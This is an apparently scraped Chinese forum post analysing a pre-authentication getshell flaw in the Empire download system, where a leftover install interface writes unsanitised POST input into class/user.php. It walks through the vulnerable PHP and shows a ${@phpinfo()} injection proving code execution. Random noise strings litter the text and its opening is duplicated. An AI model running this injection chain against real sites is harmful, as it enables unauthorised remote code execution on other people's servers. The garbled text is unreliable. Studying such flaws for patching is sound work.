这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
3 h# ~/ ?3 z3 g9 V
8 m' a+ o; e2 N2 M: _. q! h+ Z& h
这是帝国的一套下载系统 如图
5 h5 R/ U7 F" _/ Z9 b7 ~5 Nps(不需要任何账户和密码,直接写shell)
. T, P9 E; C/ t* d( J" ~由于很多站是由于下载要整合discuz 等等一些论坛..../ G4 O" r2 z6 |$ R
0 z( |( F+ `' x3 H# u* }- z, W而帝国他又有一个万能接口,如图 7 @; P' m e. h0 J8 O2 v) I
; n. e! |7 d' p
) O8 L8 f6 Q+ q; t) a而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
( N/ s% K4 ~, Y, p4 S/ \' p. t1 C2 S" N0 g1 R; o
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪6 e7 o9 P4 H" V- W
! Q0 ]( ~) Q0 x q. k在data/fun.php中的15行
& z5 Q' y7 F" [+ T0 C! {# x4 S$ S0 R' |7 s
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {% V( A* ~3 A) R" A' p" {& O- y" q9 S
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干- k0 M1 d: f! q; {
3 }2 A: X, ^8 m- T3 x这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
2 Q% {$ v7 m7 [6 X# S9 s. a* j" h3 k+ b6 p ^
他将传进来的变量进行了切割,然后赋给了$filetext
( [" x. ~, c+ v) N( n/ G* J8 B* L
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了5 s* f1 G' ?/ l+ Q H" A+ X
% o. Q, x5 _* B5 a1 G$ f
我们看看写入的结果,随便填一个
# w6 ~7 H+ m2 }+ E; R+ I) I. E& Y5 P- y, ?: e- o
4 ?( y3 c8 q8 v- q
! |' C5 v; \ }% t
( Q" C* `& T. D( ^1 t- r* E( [ E3 d! B1 N3 d+ E8 l
% e% Y% R0 ^% j, B* Q4 R3 h; C v+ Y* a' t
1 L% {( v h$ [! r* R4 I7 g3 V4 m* M
: F& Y5 g6 E* q/ _4 m
+ X1 q) k! l! D( j9 d- b6 w7 u" T
8 z& O& A2 x' Y/ ^
9 h5 A# \4 O# V
9 r+ `. p8 O& K- ?6 {8 u# ?( O7 o9 L6 n
& k0 O0 x& B$ S/ }$ E
`7 C; t/ `4 d6 Q8 K5 X T( [! b/ |" {
+ f' z. U, [6 N8 y# P
/ r! R S" i! P) p
& v) A7 i. M. h* \7 U/ `
所以我们淫荡点,写个${@phpinfo()}试试
$ U1 l8 ]) \4 I+ }; N然后访问以下class/user.php这个文件/ r* o/ `6 \0 j; K! _% a1 {
日了吧 ! N$ ^4 F- ~; e5 ]( A4 k
7 J; I: R, {" P* E- m) W% v5 P( M$ d8 ]# U4 b4 T/ B, u
" v& O0 O# p* W3 c" z& W, {9 m& r) }
, T, F9 \! k; X) X% ^& v
: @8 P }% P* O |